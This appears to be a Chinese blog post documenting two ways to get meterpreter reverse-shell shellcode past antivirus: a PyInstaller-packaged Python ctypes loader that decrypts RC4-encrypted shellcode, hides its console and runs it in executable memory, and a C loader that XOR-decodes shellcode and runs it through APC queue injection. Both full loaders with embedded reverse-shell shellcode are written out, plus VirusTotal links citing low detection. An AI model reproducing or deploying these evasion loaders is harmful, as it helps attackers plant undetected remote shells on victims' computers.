这两天看了点东西,关于meterpreter shell免杀的,实践了下,发现用处并不大,但是好歹花了我两天时间,所以还是记录一下吧。
一个是用python调用ctypes外部库,然后用pyinstaller来打包成exe,就是体积比较大,单个exe有3MB多,毕竟得把运行库都给打包进去,还在可以勉强接受的范围

免杀率的话,估计这个技术也出来了一段时间了,开始有一些厂商开始查杀了,但是好歹能过windows defender呀。
https://www.virustotal.com/gui/file/40440f8f2a7903abf16f03d21a0609a1f30f31d148b9fc40ded926b954e74194/detection

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114
| from ctypes import * import ctypes import sys, os, hashlib, time, base64
def rc4(string, op='encode', public_key='ddd', expirytime=0): ckey_lenth = 4 public_key = public_key and public_key or '' key = hashlib.md5(public_key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = ckey_lenth and (op == 'decode' and string[0:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]) or '' cryptkey = keya + hashlib.md5(keya + keyc).hexdigest() key_lenth = len(cryptkey) string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' + hashlib.md5(string + keyb).hexdigest()[0:16] + string string_lenth = len(string) result = '' box = list(range(256)) randkey = [] for i in xrange(255): randkey.append(ord(cryptkey[i % key_lenth])) for i in xrange(255): j = 0 j = (j + box[i] + randkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp for i in xrange(string_lenth): a = j = 0 a = (a + 1) % 256 j = (j + box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256])) if op == 'decode': if (result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > 0) and result[10:26] == hashlib.md5( result[26:] + keyb).hexdigest()[0:16]: return result[26:] else: return None else: return keyc + base64.b64encode(result)
buf = b"" buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" buf += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff" buf += b"\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80" buf += b"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xe3\x91\x68\x02" buf += b"\x00\x30\x21\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" buf += b"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68" buf += b"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08" buf += b"\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57" buf += b"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b" buf += b"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58" buf += b"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68" buf += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68" buf += b"\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff" buf += b"\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c" buf += b"\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01" buf += b"\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00" buf += b"\x53\xff\xd5"
buf=rc4(buf,'encode','6666666666666')
PROT_READ = 1 PROT_WRITE = 2 PROT_EXEC = 4 def executable_code(buffer): buf = c_char_p(buffer) size = len(buffer) addr = libc.valloc(size) addr = c_void_p(addr) if 0 == addr: raise Exception("Failed to allocate memory") memmove(addr, buf, size) if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC): raise Exception("Failed to set protection on buffer") return addr VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(rc4(buf, 'decode', '6666666666666'))
whnd = ctypes.windll.kernel32.GetConsoleWindow() if whnd != 0: if 666==666: ctypes.windll.user32.ShowWindow(whnd, 0) ctypes.windll.kernel32.CloseHandle(whnd) print ".................................."*666 memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) old = ctypes.c_long(1) VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell), buf, ctypes.c_int(len(shellcode))) shell = cast(memorywithshell, CFUNCTYPE(c_void_p)) shell()
|
话说这个用rc4加密shellcode是不是有点杀鸡用牛刀的感觉了?毕竟静态查杀用一个xor就能免杀了,最后执行的时候还是得把最终的shellcode加载到内存里,像meterpreter的shellcode基本上是一杀一个准,不过好歹普通的windows/shell/reverse_tcp还能用。
另外一个是用纯c的方式,用APC注入方式来执行shellcode,大概思路就是用VirtualProtect函数来申请一段内存存放shellcode,每个线程可以异步执行shellcode,只要插入到APC队列中去,当这个线程被调度的时候,shellcode就会被执行,不过要让这个线程进入警戒状态(alertable state),可以通过SleepEx,SignalObjectAndWait,WaitForSingleObjectEx等等函数。
躲避静态查杀还是用了最简单的xor,key是在执行的时候提供的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| #define WIN32_LEAN_AND_MEAN #include <aclapi.h> #include <stdbool.h> #include <stdio.h> #include <windows.h>
unsigned char buf[] = "\x9a\x9d\xe1\x6b\x65\x72\x01\xf9\x80\x43\xa6\x11\xe8\x3b\x55\xf9\x33\x7c" "\xee\x20\x72\xfe\x11\x43\x6a\xc5\x2b\x56\x54\x8d\xca\x49\x02\x17\x67\x5e" "\x41\xb1\xaa\x7f\x67\xb2\x81\x99\x37\x25\xea\x22\x75\xf9\x2c\x49\xe8\x27" "\x74\x0a\x82\x38\x64\xa3\x37\xfe\x3a\x4b\x64\xa1\xea\x39\x7d\x91\x5c\x3c" "\xe8\x5f\xee\x73\xb7\x41\x9a\xde\xa7\xba\x6e\x6a\xa2\x4a\x81\x05\x93\x71" "\x1b\x8d\x58\x16\x41\x07\x85\x28\xee\x2a\x42\x74\xb0\x0d\xee\x7e\x2a\xfb" "\x3d\x6e\x67\xa6\xe8\x6f\xee\x73\xb1\xf9\x21\x56\x42\x2e\x38\x0a\x3c\x28" "\x30\x8f\x85\x2d\x39\x2f\xe8\x79\x8e\xff\x3c\x18\x56\x40\x66\x75\x0b\x1c" "\x16\x40\x3e\x24\x0d\x3e\x11\x53\x64\xe2\x8d\x8d\xb1\xc8\xf5\x73\x66\x75" "\x4a\xaf\x31\x22\x09\x59\xe5\x19\x66\x8a\xb6\x01\x6f\x1a\xa1\xd8\x86\xe3" "\x0e\x77\x63\x5b\x44\xfb\x87\x20\x35\x22\x36\x35\x33\x2b\x35\x1a\x8b\x7f" "\xba\x92\x99\xa0\xf4\x01\x75\x24\x36\x18\xfc\xd7\x12\x14\x9c\xbe\xe0\xb2" "\x15\x7a\x9a\x3c\x6e\x00\x8f\x83\x02\x72\x61\x70\x0f\x72\x0c\x71\x35\x3c" "\x0d\x70\xb8\xb8\x3a\x8d\xb3\xf6\x9b\x6b\x1b\x44\xea\x46\x0f\x32\x0e\x75" "\x73\x6b\x65\x24\x0b\x70\x0d\x2a\xc2\x26\x86\x94\xb0\xe1\x32\x1a\x65\x24" "\x35\x22\x0b\x69\xbc\xba\x3e\x8f\xb0\xf1\x9e\x75\x1e\x43\x3d\x1a\x61\x30" "\x65\x72\x0c\x75\x33\x03\x6e\x5d\x6e\x40\x9a\xa7\x31\x1d\x16\x05\x28\x13" "\x9e\xa5\x3b\x2c\x99\x79\x47\x64\xe0\x02\x9e\x8f\x9a\x9b\xfd\x8a\x9c\x94" "\x64\xb1\x48\xb6\x10\xb3\xa5\xce\x93\xde\xc7\x24\x0b\x70\x36\x8d\xb3";
const int blen = 341;
void xor_encoder(const char *key, bool show) { const int klen = strlen(key); for (int i = 0; i < blen; ++i) { buf[i] ^= key[i % klen]; } if (show) { for (int i = 0; i < blen; ++i) { printf("\\x%02x", buf[i]); } } }
static void execute_shellcode(const char *key) { DWORD p_old; xor_encoder(key, false); VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READ, (PDWORD)&p_old); QueueUserAPC((PAPCFUNC)buf, GetCurrentThread(), (ULONG_PTR)NULL); SleepEx(5000, TRUE); }
int main(int argc, char **argv) { if (argc < 2) { printf("usage: %s key\n", argv[0]); } execute_shellcode(argv[1]); return 0; }
|
这个方法的好处嘛,编译生成的exe体积小,毕竟是纯c写的,另外被查杀的概率也比较小。

https://www.virustotal.com/gui/file/8ebfa0d7757c22c9bc2353d9571faba0bd0a6665fc9935ec3941d4ec25b235fd/detection

参考资料:
CS强化_python免杀
APC Queue Code Injection
AtomBombing利用分析
HackTheBox - HackBack